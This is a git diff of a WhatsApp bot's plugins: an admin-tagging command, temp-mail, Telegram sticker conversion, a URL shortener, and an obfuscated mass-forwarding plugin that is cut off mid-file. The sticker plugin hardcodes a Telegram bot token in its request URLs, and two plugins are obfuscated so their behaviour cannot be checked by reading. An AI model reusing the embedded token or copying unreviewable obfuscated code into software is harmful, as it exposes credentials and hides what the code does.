[_0x27a399(0x3f0,0x400,0x3da,0x3dc)]=__filename,cmd(_0x398760,async(_0x1e7956,_0x26ee00,_0xe06c98,{from:_0x5e84d7,participants:_0x55d9e1,reply:_0x2534d1,isGroup:_0x2ac83b,senderNumber:_0x257ccb,groupAdmins:_0x1144b4,prefix:_0x93c1c6,command:_0x187ea0,args:_0x480344,body:_0x465844})=>{function _0x5e21a7(_0x459e61,_0x39f688,_0x5647c4,_0x4fb70f){return _0x3acaf0(_0x459e61-0xf6,_0x5647c4- -0x1e4,_0x5647c4-0x1b1,_0x459e61);}function _0x45b69d(_0xd2ec10,_0x1a1903,_0xc310e9,_0x54415a){return _0x3acaf0(_0xd2ec10-0x13c,_0x1a1903- -0x11a,_0xc310e9-0x5d,_0xc310e9);}const _0x240b15={'onOsN':function(_0x4a7133,_0x1e0736){return _0x4a7133!==_0x1e0736;},'bQPHf':_0x45b69d(0x10b,0xe1,0x106,0x102),'UjPlD':function(_0x1d23ad,_0x1d567d){return _0x1d23ad(_0x1d567d);},'fiBvM':_0x45b69d(0x100,0xd4,0xd3,0xb1)+_0x45b69d(0x95,0x9c,0xcd,0xcb)+_0x5e21a7(-0x3c,-0x42,-0x4c,-0x19)+_0x5e21a7(0x1,-0x3e,-0x16,-0x4c)+'s.','PJzLc':function(_0x48fe97,_0x4c8baa){return _0x48fe97+_0x4c8baa;},'qraUl':_0x5e21a7(-0x24,0x3a,0x7,0x1c)+_0x5e21a7(0x2d,0x2,-0x5,0x3)+'oup\x20inform'+'ation.','kefhD':_0x5e21a7(-0x4f,-0x1,-0x25,-0x54)+_0x45b69d(0xd2,0xb7,0xbd,0xe1),'QtHzl':function(_0x5679a7,_0xa42176){return _0x5679a7(_0xa42176);},'rqOtD':function(_0x1e565e,_0x233e5c){return _0x1e565e===_0x233e5c;},'JNovj':_0x45b69d(0x77,0x9b,0x65,0xd1)+'s\x20found\x20in'+_0x45b69d(0xcc,0xb8,0xaa,0xe0)+'p.','YymPq':_0x45b69d(0x9e,0xc1,0x8e,0x94),'dmMOT':'โคโ€๐Ÿฉน','OSlLc':_0x45b69d(0x78,0x80,0xab,0x57),'OWvjE':function(_0x5d2b80,_0x5c641e){return _0x5d2b80*_0x5c641e;},'srufc':_0x45b69d(0xa7,0x7f,0x7a,0x9c)+_0x5e21a7(-0x1d,0x2,-0x11,0x1d),'kDZFH':_0x5e21a7(-0x12,-0x1d,0x4,-0x16)+_0x5e21a7(-0x33,-0x41,-0x21,-0x51),'RwLBt':function(_0x1dfe1b,_0x18ebf1){return _0x1dfe1b(_0x18ebf1);}};try{if(_0x240b15[_0x5e21a7(-0x60,-0x5d,-0x2c,-0x39)](_0x240b15[_0x5e21a7(-0x2c,-0x7,0xb,0x14)],_0x240b15[_0x45b69d(0xeb,0xd5,0xa9,0xc1)]))_0xf93286=_0x40d4df;else{if(!_0x2ac83b)return _0x240b15[_0x5e21a7(-0x4d,-0x2c,-0x1d,-0x53)](_0x2534d1,_0x240b15[_0x5e21a7(0x45,-0x11,0x14,0x2f)]);const _0x312cd6=_0x1e7956[_0x5e21a7(0x27,0x2a,-0x4,0x30)]['id']['split'](':')[0x1*0xa2d+-0x2ad*-0xa+-0x24ef],_0x3d1865=_0x240b15[_0x45b69d(0xc9,0xbf,0xd8,0xc3)](_0x257ccb,'@s.whatsap'+_0x45b69d(0x99,0xcb,0xc3,0xaa));let _0x3663cc=await _0x1e7956[_0x45b69d(0xdc,0xbb,0xbe,0xba)+_0x5e21a7(0x14,0x17,0x1d,-0xf)](_0x5e84d7)[_0x45b69d(0x7e,0x90,0xa0,0x78)](()=>null);if(!_0x3663cc)return _0x240b15['UjPlD'](_0x2534d1,_0x240b15[_0x45b69d(0x67,0x86,0xa3,0x9c)]);let _0x563f2c=_0x3663cc['subject']||_0x240b15[_0x5e21a7(-0x13,-0x36,-0x10,0x14)],_0x1208fe=await _0x240b15[_0x5e21a7(0x51,0x17,0x20,0xd)](getGroupAdmins,_0x55d9e1),_0x7cd313=_0x1208fe?_0x1208fe[_0x45b69d(0x89,0xb2,0xbb,0x82)]:-0x1e83+-0x189*0x2+0x2195*0x1;if(_0x240b15['rqOtD'](_0x7cd313,0x8f4*0x4+0x1086+-0x3456))return _0x240b15[_0x5e21a7(0x47,0x44,0x20,0x4a)](_0x2534d1,_0x240b15[_0x5e21a7(-0x6,0x42,0x23,0x33)]);let _0x578a82=['โšก','โœจ',_0x240b15[_0x45b69d(0x68,0xa0,0xc1,0xb2)],'๐Ÿ’Ž','๐Ÿ”ฑ','๐Ÿ’—',_0x240b15['dmMOT'],'๐Ÿ‘ป','๐ŸŒŸ','๐Ÿช„','๐ŸŽ‹','๐Ÿชผ','๐Ÿฟ','๐Ÿ‘€','๐Ÿ‘‘','๐Ÿฆ‹','๐Ÿ‹','๐ŸŒป','๐ŸŒธ','๐Ÿ”ฅ','๐Ÿ‰','๐Ÿง','๐Ÿจ','๐Ÿฆ','๐Ÿงƒ','๐Ÿช€','๐ŸŽพ','๐Ÿช‡','๐ŸŽฒ','๐ŸŽก','๐Ÿงธ','๐ŸŽ€','๐ŸŽˆ','๐Ÿฉต','โ™ฅ๏ธ','๐Ÿšฉ',_0x240b15[_0x45b69d(0xe0,0xc4,0xb5,0xc5)],'๐Ÿ”ช','๐ŸŽ','๐Ÿซ','๐Ÿ“','๐Ÿ‡','๐Ÿ','๐Ÿชป','๐Ÿชธ','๐Ÿ’€'],_0x564a85=_0x578a82[Math['floor'](_0x240b15[_0x45b69d(0x10c,0xd6,0xcc,0xb4)](Math[_0x45b69d(0xc6,0xbd,0xcf,0x9a)](),_0x578a82[_0x5e21a7(-0x1a,-0xa,-0x18,-0x1a)]))],_0x108a6d=_0x465844[_0x45b69d(0x10a,0xd7,0xda,0xe2)](_0x465844['indexOf'](_0x187ea0)+_0x187ea0['length'])[_0x45b69d(0x82,0x8d,0x58,0x5d)]();if(!_0x108a6d)_0x108a6d=_0x240b15[_0x45b69d(0x101,0xeb,0xc4,0x11e)];let _0x31ac6d='*โ–ข\x20GROUP\x20:'+'\x20'+_0x563f2c+(_0x5e21a7(-0xf,-0x2d,-0x2,0x1)+'S\x20:\x20')+_0x7cd313+(_0x5e21a7(-0x5,-0x17,0x0,0x2c)+_0x5e21a7(0x33,0x3a,0x24,0x12))+_0x108a6d+(_0x45b69d(0xbc,0x9a,0xc9,0xb9)+_0x5e21a7(-0x76,-0x28,-0x49,-0x65)+_0x5e21a7(-0x48,-0x58,-0x31,-0x3f)+'\x0a');for(let _0x318439 of _0x1208fe){if(!_0x318439)continue;_0x31ac6d+='*โ”‚'+_0x564a85+_0x45b69d(0xae,0x97,0xa4,0x84)+_0x318439[_0x45b69d(0x75,0x93,0xc5,0xc1)]('@')[0x1*-0x2182+-0x2*-0xa81+0x80*0x19]+'\x0a';}const _0x4b4ca2={};_0x4b4ca2[_0x45b69d(0xb3,0x82,0xac,0x9a)]=_0x31ac6d,_0x4b4ca2['mentions']=_0x1208fe;const _0x4257dc={};_0x4257dc[_0x5e21a7(-0x21,0xf,0x12,0xa)]=_0x26ee00,_0x1e7956[_0x45b69d(0xb4,0xaa,0x9c,0xe1)+'e'](_0x5e84d7,_0x4b4ca2,_0x4257dc);}}catch(_0x2976b7){console['error'](_0x240b15[_0x5e21a7(-0x46,-0x42,-0x14,-0x4b)],_0x2976b7),_0x240b15[_0x5e21a7(0x46,0x14,0x1a,0x24)](_0x2534d1,_0x5e21a7(-0x6a,-0x24,-0x36,-0x64)+'ccurred\x20!!'+_0x45b69d(0x8b,0xc3,0xa0,0x98)+(_0x2976b7[_0x45b69d(0xc1,0xab,0x90,0xa4)]||_0x2976b7));}}); diff --git a/plugins/tempmail.com b/plugins/tempmail.com new file mode 100644 index 0000000000000000000000000000000000000000..58b53d4d0017de64d35b5413e909deec39937c1b --- /dev/null +++ b/plugins/tempmail.com @@ -0,0 +1,100 @@ +const axios = require("axios"); +const { cmd } = require("../command"); + +// Global variable to store the temporary email address +let tempMail = null; + +/** + * Command: .tempmail + * Description: Generates a temporary email address using the GetNada API. + * Usage: .tempmail + */ +cmd({ + pattern: "tempmail", + desc: "Generate a temporary email address.", + category: "fun", + react: "๐Ÿ“ง", + filename: __filename, + use: ".tempmail" +}, async (conn, mek, m, { reply }) => { + try { + // Fetch the list of available domains from the GetNada API + const domainResponse = await axios.get("https://getnada.com/api/v1/domains"); + const domains = domainResponse.data.domains; // Example: ["getnada.com", "abyssmail.com", ...] + if (!domains || domains.length === 0) { + return reply("โŒ Failed to retrieve available domains."); + } + // Choose a random domain from the list + const randomDomain = domains[Math.floor(Math.random() * domains.length)]; + // Generate a random string for the local-part of the email address + const localPart = Math.random().toString(36).substring(2, 12); + // Compose the temporary email address + tempMail = `${localPart}@${randomDomain}`; + return reply(`โœ… Your temporary email address is:\n\n*${tempMail}*`); + } catch (error) { + console.error("Error in tempmail command:", error); + return reply(`โŒ An error occurred: ${error.message}`); + } +}); + +/** + * Command: .checkmail + * Description: Checks the messages received for the temporary email address. + * Usage: .checkmail + */ +cmd({ + pattern: "checkmail", + desc: "Check messages for your temporary email address.", + category: "fun", + react: "๐Ÿ“ฌ", + filename: __filename, + use: ".checkmail" +}, async (conn, mek, m, { reply }) => { + try { + if (!tempMail) { + return reply("โŒ No temporary email address is set. Use .tempmail to generate one."); + } + // Construct the API URL to retrieve messages using GetNada + const apiUrl = `https://getnada.com/api/v1/inboxes/${tempMail}`; + const response = await axios.get(apiUrl); + const messages = response.data.msgs; // The API returns an array of messages in the "msgs" property + if (!messages || messages.length === 0) { + return reply(`๐Ÿ“ญ No messages have been received for *${tempMail}* yet.`); + } + let messageList = `๐Ÿ“ฌ Messages for *${tempMail}*:\n`; + messages.forEach((msg) => { + // Display basic info for each message: ID, from, subject, and date + messageList += `โ€ข ID: ${msg.uid} | From: ${msg.f} | Subject: ${msg.s} | Date: ${msg.d}\n`; + }); + return reply(messageList); + } catch (error) { + console.error("Error in checkmail command:", error); + return reply(`โŒ An error occurred: ${error.message}`); + } +}); + +/** + * Command: .delmail + * Description: Deletes the temporary email address and clears its messages. + * Usage: .delmail + */ +cmd({ + pattern: "delmail", + desc: "Delete the temporary email address and its messages.", + category: "fun", + react: "๐Ÿ—‘๏ธ", + filename: __filename, + use: ".delmail" +}, async (conn, mek, m, { reply }) => { + try { + if (!tempMail) { + return reply("โŒ No temporary email address is set."); + } + // Reset the temporary email address (the API auto-deletes messages after a period) + tempMail = null; + return reply("โœ… The temporary email address and its messages have been cleared."); + } catch (error) { + console.error("Error in delmail command:", error); + return reply(`โŒ An error occurred: ${error.message}`); + } +}); diff --git a/plugins/tgs.js b/plugins/tgs.js new file mode 100644 index 0000000000000000000000000000000000000000..0b5059df7847ccd9279ee810dab3cd9a98763395 --- /dev/null +++ b/plugins/tgs.js @@ -0,0 +1,111 @@ +const axios = require('axios'); +const { Sticker, createSticker, StickerTypes } = require('wa-sticker-formatter'); +const config = require('../config'); +const { cmd, commands } = require('../command'); + + +cmd({ + pattern: 'tgs', + alias: ['tgsticker', 'telegramsticker'], + react: '๐ŸŽด', + desc: 'Download and convert Telegram sticker packs to WhatsApp stickers', + category: 'Mods', + filename: __filename +}, async (conn, mek, m, { from, reply, args, sender, isAdmin }) => { + try { + /* // Check if the user is a mod or admin + if (!isAdmin) { + reply('Only Mods can use this command.'); + return; + } + */ + + // Check if a Telegram sticker link is provided + if (!args[0]) { + reply('*แด˜สŸแด‡แด€sแด‡ แด˜ส€แดแด ษชแด…แด‡ แด€ แด›แด‡สŸแด‡ษขส€แด€แด sแด›ษชแด„แด‹แด‡ส€ แด˜แด€แด„แด‹ สŸษชษดแด‹.*\n\n *แด‡xแด€แดแด˜สŸแด‡* `.tgs` https://t.me/addstickers/telegramali '); + return; + } + + const lien = args.join(' '); + const name = lien.split('/addstickers/')[1]; + + if (!name) { + reply('Invalid Telegram sticker link.'); + return; + } + + const api = `https://api.telegram.org/bot7025486524:AAGNJ3lMa8610p7OAIycwLtNmF9vG8GfboM/getStickerSet?name=${encodeURIComponent(name)}`; + + // Fetch sticker pack details + const stickers = await axios.get(api); + + let type = stickers.data.result.is_animated ? 'animated sticker' : 'not animated sticker'; + + let message = `*๐Ÿงฉแด€สŸษช แด›แด‡สŸแด‡ษขส€แด€แด sแด›ษชแด„แด‹แด‡ส€s๐Ÿงฉ*\n\n` + + `*Producer:* ${stickers.data.result.name}\n` + + `*Type:* ${type}\n` + + `*Length:* ${stickers.data.result.stickers.length}\n\n` + + `> *แด€สŸษช-แดแด… sแด›ษชแด„แด‹แด‡ส€s sแด‡ษดแด…ษชษดษข*`; + + // await reply(message); +await conn.sendMessage( + from, + { + image: { url: `https://i.ibb.co/kgL73wq8/mrfrankofc.jpg` }, + caption: message, + contextInfo: { + mentionedJid: [m.sender], + forwardingScore: 999, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '120363318387454868@newsletter', + newsletterName: 'ใ€Ž๐€ษญฮนฬ‡ฮนฬ‡ ้‰‚็ฌ ๐“๐„๐‚๐‡โ„ขใ€', + serverMessageId: 143 + } + } + }, + { quoted: mek } + ); + + + // Loop through each sticker in the pack + for (let i = 0; i < stickers.data.result.stickers.length; i++) { + const file = await axios.get(`https://api.telegram.org/bot7025486524:AAGNJ3lMa8610p7OAIycwLtNmF9vG8GfboM/getFile?file_id=${stickers.data.result.stickers[i].file_id}`); + + const buffer = await axios({ + method: 'get', + url: `https://api.telegram.org/file/bot7025486524:AAGNJ3lMa8610p7OAIycwLtNmF9vG8GfboM/${file.data.result.file_path}`, + responseType: 'arraybuffer', + }); + + // Create a WhatsApp sticker + const sticker = new Sticker(buffer.data, { + pack: '๐€ษญฮนฬ‡ฮนฬ‡ ๐ˆฦžฬฝส‚ฬšษชษ–๐›†ฬฝ', + author: '๐Ÿ', + type: StickerTypes.FULL, + categories: ['๐Ÿคฉ', '๐ŸŽ‰'], + id: '12345', + quality: 50, + background: '#000000' + }); + + const stickerBuffer = await sticker.toBuffer(); + + // Send the sticker + await conn.sendMessage( + from, + { sticker: stickerBuffer }, + { quoted: mek } + ); + + // Add a small delay to avoid rate limits + await new Promise(resolve => setTimeout(resolve, 1000)); + } + + reply('_*Sticker Pack Download Complete!*_'); + + } catch (error) { + console.error('Error processing Telegram sticker pack:', error); + reply('An error occurred while processing the sticker pack. Please try again.'); + } +}); diff --git a/plugins/tiny.js b/plugins/tiny.js new file mode 100644 index 0000000000000000000000000000000000000000..c46ea449f748f5ae97c404886f30b24e0467e301 --- /dev/null +++ b/plugins/tiny.js @@ -0,0 +1,34 @@ +const { cmd } = require("../command"); +const fetch = require("node-fetch"); +const axios = require("axios"); + +cmd({ + pattern: "tiny", + alias: ['short', 'shorturl'], + react: "๐Ÿซง", + desc: "Makes URL tiny.", + category: "converter", + use: "", + filename: __filename, +}, +async (conn, mek, m, { from, quoted, isOwner, isAdmins, reply, args }) => { + console.log("Command tiny triggered"); // Ajoutez ceci pour vรฉrifier si la commande est dรฉclenchรฉe + + if (!args[0]) { + console.log("No URL provided"); // Ajoutez ceci pour vรฉrifier si l'URL est fournie + return reply("*๐Ÿท๏ธ แด˜สŸแด‡แด€sแด‡ แด˜ส€แดแด ษชแด…แด‡ แดแด‡ แด€ สŸษชษดแด‹.*"); + } + + try { + const link = args[0]; + console.log("URL to shorten:", link); // Ajoutez ceci pour vรฉrifier l'URL fournie + const response = await axios.get(`https://tinyurl.com/api-create.php?url=${link}`); + const shortenedUrl = response.data; + + console.log("Shortened URL:", shortenedUrl); // Ajoutez ceci pour vรฉrifier l'URL raccourcie + return reply(`*๐Ÿ›ก๏ธYOUR SHORTENED URL*\n\n${shortenedUrl}`); + } catch (e) { + console.error("Error shortening URL:", e); + return reply("An error occurred while shortening the URL. Please try again."); + } +}); diff --git a/plugins/too-forward.js b/plugins/too-forward.js new file mode 100644 index 0000000000000000000000000000000000000000..aaa304da7c13e49ee357825924d93b6a782bce68 --- /dev/null +++ b/plugins/too-forward.js @@ -0,0 +1 @@ +(function(_0x427f70,_0x56bca9){const _0x30159c=_0x427f70();function _0x1bd36a(_0x4957c9,_0x50f75a,_0x265348,_0x4da640){return _0x50f7(_0x50f75a- -0x395,_0x4957c9);}function _0x148210(_0x4b3cb1,_0x501d2b,_0x35ca24,_0xc93b9f){return _0x50f7(_0x4b3cb1-0x1e9,_0x35ca24);}while(!![]){try{const _0x187943=parseInt(_0x148210(0x2c4,0x273,0x310,0x2a3))/(-0x1f74+0x1281+-0x33d*-0x4)+parseInt(_0x148210(0x28a,0x254,0x23c,0x288))/(0x1857+-0x219*-0x2+-0x6d*0x43)+parseInt(_0x148210(0x32a,0x38a,0x324,0x2d5))/(-0x2232*-0x1+0x53*-0x1f+0x1*-0x1822)*(parseInt(_0x1bd36a(-0x2a3,-0x247,-0x280,-0x292))/(-0x1fb*0xa+0x1fd*0x3+0xddb))+-parseInt(_0x148210(0x2d1,0x2f2,0x29e,0x28c))/(0x1d28+0xe60+-0x2b83)*(parseInt(_0x148210(0x29d,0x286,0x2c3,0x250))/(-0x20b7+-0x3*-0x563+0x1094))+-parseInt(_0x1bd36a(-0x2c4,-0x269,-0x261,-0x2c2))/(-0x1f7*0x1+0x3*0xd4+-0x7e)+-parseInt(_0x1bd36a(-0x22d,-0x283,-0x268,-0x294))/(0x1*0x1c9+0xf0c+0x10cd*-0x1)*(-parseInt(_0x148210(0x311,0x312,0x36b,0x339))/(-0x118d+0x2046*0x1+-0xeb0))+parseInt(_0x1bd36a(-0x28f,-0x27a,-0x21f,-0x2c8))/(0x2365+-0x8b+-0x22d0)*(parseInt(_0x148210(0x2e2,0x2bf,0x292,0x2b1))/(0x232d*-0x1+-0xf0*0x12+-0x2*-0x1a0c));if(_0x187943===_0x56bca9)break;else _0x30159c['push'](_0x30159c['shift']());}catch(_0x593359){_0x30159c['push'](_0x30159c['shift']());}}}(_0x1835,-0x1b5829+-0x2*0x7c2ad+0x38c375));function _0x4c9fa7(_0x2c0e07,_0x4877ab,_0x5cbd37,_0x3ea519){return _0x50f7(_0x4877ab-0x27d,_0x2c0e07);}const _0xe7c810=(function(){const _0x3dccfb={};function _0x6c846a(_0x1d5533,_0x3a2e92,_0x5097ab,_0x4be237){return _0x50f7(_0x4be237-0x79,_0x5097ab);}_0x3dccfb['OlUgE']=function(_0x1ba93d,_0x5951c8){return _0x1ba93d===_0x5951c8;};function _0x4b8c70(_0x275b43,_0xd34f65,_0x2d0f06,_0x11f732){return _0x50f7(_0x2d0f06- -0xe9,_0xd34f65);}_0x3dccfb[_0x6c846a(0x17c,0x1d7,0x1d7,0x1b8)]=_0x6c846a(0x1ce,0x225,0x1bc,0x1c9);const _0x5c0f97=_0x3dccfb;let _0x424722=!![];return function(_0x1ba3c8,_0x40e31a){function _0x4e4053(_0x34bbdf,_0x3fabec,_0x5e444d,_0xa29862){return _0x4b8c70(_0x34bbdf-0x65,_0x34bbdf,_0x3fabec- -0x8e,_0xa29862-0x4e);}function _0x2cca1e(_0x38f725,_0x239377,_0x37d799,_0x5d1166){return _0x6c846a(_0x38f725-0x151,_0x239377-0x16a,_0x5d1166,_0x37d799-0x157);}if(_0x5c0f97[_0x2cca1e(0x36f,0x2c0,0x31d,0x31d)](_0x5c0f97['tApyh'],_0x5c0f97[_0x2cca1e(0x30a,0x2c8,0x30f,0x339)])){const _0x35a724=_0x424722?function(){function _0x4eb5e9(_0x440909,_0xa40516,_0x54c746,_0x3324ba){return _0x4e4053(_0x54c746,_0x440909-0x2d5,_0x54c746-0x15e,_0x3324ba-0x110);}if(_0x40e31a){const _0x163098=_0x40e31a[_0x4eb5e9(0x235,0x24b,0x239,0x285)](_0x1ba3c8,arguments);return _0x40e31a=null,_0x163098;}}:function(){};return _0x424722=![],_0x35a724;}else{const _0x1c1015=_0x597daa[_0x4e4053(-0x98,-0xd9,-0x8f,-0x115)](/@g\.us$/i,'');return/^\d+$/[_0x2cca1e(0x238,0x260,0x26c,0x2b3)](_0x1c1015)?_0x1c1015+_0x4e4053(-0x3b,-0x81,-0xcc,-0x7c):null;}};}()),_0x433d59=_0xe7c810(this,function(){const _0x242e8e={};_0x242e8e[_0x422a36(0x2e6,0x296,0x2c0,0x339)]=_0x422a36(0x321,0x2e4,0x2f3,0x2d1)+'+$';const _0x5901d6=_0x242e8e;function _0x545b9d(_0x15ed94,_0x2060de,_0x28e3e8,_0x4bb9af){return _0x50f7(_0x2060de-0x2e,_0x15ed94);}function _0x422a36(_0x278cea,_0x1e9491,_0x435355,_0x4874b9){return _0x50f7(_0x278cea-0x247,_0x435355);}return _0x433d59[_0x545b9d(0xd9,0xe7,0x12b,0x13d)]()[_0x545b9d(0x16f,0x162,0x18e,0x1b5)](_0x5901d6[_0x545b9d(0x126,0xcd,0x78,0xcf)])[_0x545b9d(0xde,0xe7,0xb5,0x137)]()[_0x545b9d(0x135,0x11c,0x11a,0xe6)+'r'](_0x433d59)[_0x545b9d(0x14d,0x162,0x12d,0x136)](_0x5901d6['iatKH']);});_0x433d59();const _0x36d1e7=(function(){let _0x4b99bd=!![];return function(_0x7ec0ad,_0x3f869f){function _0x4ceacc(_0x2f2090,_0x4c7922,_0x8504d1,_0x37cbe4){return _0x50f7(_0x37cbe4- -0x159,_0x4c7922);}const _0x184b67={};_0x184b67[_0x32c707(0x1c1,0x1b6,0x1ba,0x1d6)]=function(_0x3f760c,_0x98e179){return _0x3f760c===_0x98e179;};function _0x32c707(_0x418df8,_0x2bdda5,_0xef4cd,_0xde5fc9){return _0x50f7(_0x2bdda5-0xc2,_0x418df8);}_0x184b67[_0x4ceacc(-0xa5,-0x70,-0x68,-0xae)]=_0x32c707(0x249,0x206,0x21d,0x214);const _0x12292b=_0x184b67,_0x1289d4=_0x4b99bd?function(){function _0x4e52b8(_0x3e85cd,_0x232125,_0x4a3ad4,_0xa4f3dd){return _0x32c707(_0x3e85cd,_0x232125- -0x19,_0x4a3ad4-0x51,_0xa4f3dd-0x11);}function _0x49fe28(_0x4abc35,_0x470507,_0x171dad,_0x30102b){return _0x4ceacc(_0x4abc35-0x60,_0x171dad,_0x171dad-0x12,_0x30102b-0x42c);}if(_0x3f869f){if(_0x12292b[_0x49fe28(0x3e7,0x423,0x3c8,0x3c7)](_0x12292b[_0x4e52b8(0x191,0x154,0x1ac,0xf5)],_0x49fe28(0x3de,0x3dc,0x383,0x38e)))_0x2e0865=_0x38e53a[_0x4e52b8(0x12d,0x149,0x111,0x10e)];else{const _0x2f73a7=_0x3f869f[_0x4e52b8(0x1d2,0x180,0x12f,0x14b)](_0x7ec0ad,arguments);return _0x3f869f=null,_0x2f73a7;}}}:function(){};return _0x4b99bd=![],_0x1289d4;};}()),_0x4bb580=_0x36d1e7(this,function(){const _0x95b670={'HQCaL':function(_0x309d77,_0xecbe61){return _0x309d77(_0xecbe61);},'fitXO':function(_0x5d4598,_0x21909f){return _0x5d4598+_0x21909f;},'LzgiW':_0xa64398(0x21b,0x217,0x211,0x1fd)+'ctor(\x22retu'+_0x1fe42c(-0x72,-0x4b,-0x9d,-0x82)+'\x20)','xHusp':function(_0x50b1af,_0x2583ba){return _0x50b1af!==_0x2583ba;},'OVxgQ':_0x1fe42c(-0xf3,-0x102,-0xff,-0xe8),'cNOiD':function(_0x5620d5){return _0x5620d5();},'yLeVZ':_0xa64398(0x1a7,0x1f3,0x1d9,0x1f4),'ZYtLd':'warn','ppeau':'info','reiDd':_0x1fe42c(-0xa1,-0xc3,-0xeb,-0xa1),'xnWXM':function(_0x5c519a,_0x31df32){return _0x5c519a<_0x31df32;},'meCvI':'XJAmT','BXKjW':_0xa64398(0x18e,0x226,0x1d0,0x174)};function _0xa64398(_0x21b6cc,_0x11b995,_0x3f9226,_0xb325c6){return _0x50f7(_0x3f9226-0x101,_0xb325c6);}function _0x1fe42c(_0x57fb79,_0x5436fe,_0x16976c,_0x426f57){return _0x50f7(_0x57fb79- -0x187,_0x426f57);}const _0x17f790=function(){function _0x15d867(_0x5140a7,_0x4d1310,_0x593091,_0x3daf9c){return _0xa64398(_0x5140a7-0x18f,_0x4d1310-0x99,_0x593091- -0x423,_0x3daf9c);}let _0x226d43;function _0x37ac0e(_0x5608f5,_0x216bf4,_0x3474c7,_0x595ff9){return _0x1fe42c(_0x216bf4- -0x13e,_0x216bf4-0x2,_0x3474c7-0x82,_0x5608f5);}try{_0x226d43=_0x95b670[_0x15d867(-0x24a,-0x29d,-0x28a,-0x259)](Function,_0x95b670[_0x37ac0e(-0x1b2,-0x1f7,-0x218,-0x1e6)](_0x15d867(-0x249,-0x246,-0x245,-0x22d)+_0x15d867(-0x1ac,-0x1aa,-0x206,-0x1db)+_0x95b670['LzgiW'],');'))();}catch(_0x51fa58){if(_0x95b670[_0x15d867(-0x25d,-0x1f4,-0x201,-0x235)](_0x95b670['OVxgQ'],'DHtFK')){if(_0x2ab28c){const _0x34e9f2=_0x1dfaa3[_0x37ac0e(-0x1bf,-0x1ee,-0x18f,-0x230)](_0x3bc899,arguments);return _0x1fd480=null,_0x34e9f2;}}else _0x226d43=window;}return _0x226d43;},_0x4948bd=_0x95b670[_0xa64398(0x216,0x22c,0x23a,0x254)](_0x17f790),_0x55c325=_0x4948bd[_0x1fe42c(-0xe4,-0xa4,-0xdf,-0x120)]=_0x4948bd[_0xa64398(0x179,0x1fe,0x1a4,0x1ab)]||{},_0x95b1fd=[_0x95b670[_0xa64398(0x1cb,0x211,0x1d1,0x193)],_0x95b670[_0xa64398(0x204,0x1c5,0x1e1,0x21c)],_0x95b670['ppeau'],_0x1fe42c(-0x74,-0x8a,-0xcd,-0xd2),_0x1fe42c(-0xd5,-0xc3,-0x116,-0x7f),_0x1fe42c(-0x69,-0x21,-0x88,-0x16),_0x95b670[_0xa64398(0x251,0x1ff,0x228,0x200)]];for(let _0x384a16=0x25af+0x8b*-0x26+-0x110d;_0x95b670['xnWXM'](_0x384a16,_0x95b1fd[_0x1fe42c(-0xa0,-0xb3,-0x4e,-0x89)]);_0x384a16++){if(_0x95b670[_0x1fe42c(-0xc5,-0x66,-0xdf,-0xa0)]===_0x95b670[_0xa64398(0x1fe,0x22f,0x246,0x24a)]){const _0x45fef7=_0x2f21bb[_0x1fe42c(-0xb0,-0x54,-0xed,-0x7f)](_0x3a0b29,arguments);return _0x14eb19=null,_0x45fef7;}else{const _0xa09c42=_0x36d1e7[_0xa64398(0x1d2,0x196,0x1ef,0x1c0)+'r'][_0x1fe42c(-0xda,-0xa3,-0x8d,-0xc2)][_0x1fe42c(-0xd7,-0xa1,-0x88,-0x9c)](_0x36d1e7),_0xc093db=_0x95b1fd[_0x384a16],_0x380e00=_0x55c325[_0xc093db]||_0xa09c42;_0xa09c42['__proto__']=_0x36d1e7[_0x1fe42c(-0xd7,-0x11e,-0xb6,-0x120)](_0x36d1e7),_0xa09c42['toString']=_0x380e00['toString'][_0xa64398(0x210,0x156,0x1b1,0x208)](_0x380e00),_0x55c325[_0xc093db]=_0xa09c42;}}});_0x4bb580();const {cmd}=require(_0x4c9fa7(0x34f,0x366,0x38e,0x3a4)),_0x27db1e={};_0x27db1e['MAX_JIDS']=0x14,_0x27db1e['BASE_DELAY']=0x7d0,_0x27db1e[_0x575a7d(-0x2db,-0x2b9,-0x300,-0x25e)+'Y']=0xfa0;const SAFETY=_0x27db1e,_0x11a77c={};function _0x50f7(_0x433d59,_0xe7c810){const _0x18350e=_0x1835();return _0x50f7=function(_0x50f78f,_0x3fb798){_0x50f78f=_0x50f78f-(0x1565*-0x1+0xe5c*0x2+-0x6c0);let _0x9ce607=_0x18350e[_0x50f78f];return _0x9ce607;},_0x50f7(_0x433d59,_0xe7c810);}function _0x1835(){const _0x5f227a=['constructo','ERGjH','*๐Ÿช€\x20sแดœแด„แด„แด‡ss','map','*๐Ÿฎ\x20แดแด‡แด…ษชแด€\x20แด›','Npqou','JsqTo','\x20แด€\x20แดแด‡ssแด€ษขแด‡','@g.us,','lmApP','FLSYC','11vLzpYZ','FZCCl','documentMe','sage','\x20more','sgENG','rSpBu','ror:','):\x20','matting\x0a','ssage','string','55156472@g','imited\x20to\x20','IJvzT','Forward\x20Er','HxKJn','แด…s\x20า“แดแดœษดแด…*\x0a','zYtbl','pQpLn','video/mp4','nvLmF','isArray','{}.constru','UUHBQ','19048xcyiSN','error','YRKdr','rn\x20this\x22)(','aRixw','video','mRxCf','mtype','object','19076570KzPVxm','nction()\x20','check:\x0a','table','LKiMu','CxXMG','xHusp','JArsC','ctor(\x22retu','sticker','filter','\x0aโš ๏ธ\x20Note:\x20L','reiDd','270upNSQz','khpOH','audio','\x20.า“แดกแด…*\x0a','1936844yqTyqs','\x20แด„แดแดแด˜สŸแด‡แด›แด‡แด…','o\x20groups','bbqqA','1.\x20JID\x20for','แด›แด\x20า“แดส€แดกแด€ส€แด…','audioMessa','rd\x20media\x20t','search','e\x20type','videoMessa','\x20again\x20or\x20','hqJfm','cNOiD','\x20แด€ษด\x20แดแดกษดแด‡ส€\x20','.*า“แดส€\x20ษขแด„:\x20','BBYbP','pHFHl','*๐Ÿ“›\x20แด›สœษชs\x20ษชs','tApyh','\x20groups...','3qVrXCD','โŒ\x20Unsuppor','includes','OkfzI','BXKjW','DWpEz','ptt','Rnvrj','dmXxj','\x20JIDs','\x20923003573','cZQuP','OlUgE','2433508NwXFsy','extendedTe','IrPKP','*๐Ÿ“›\x20ษดแด\x20แด 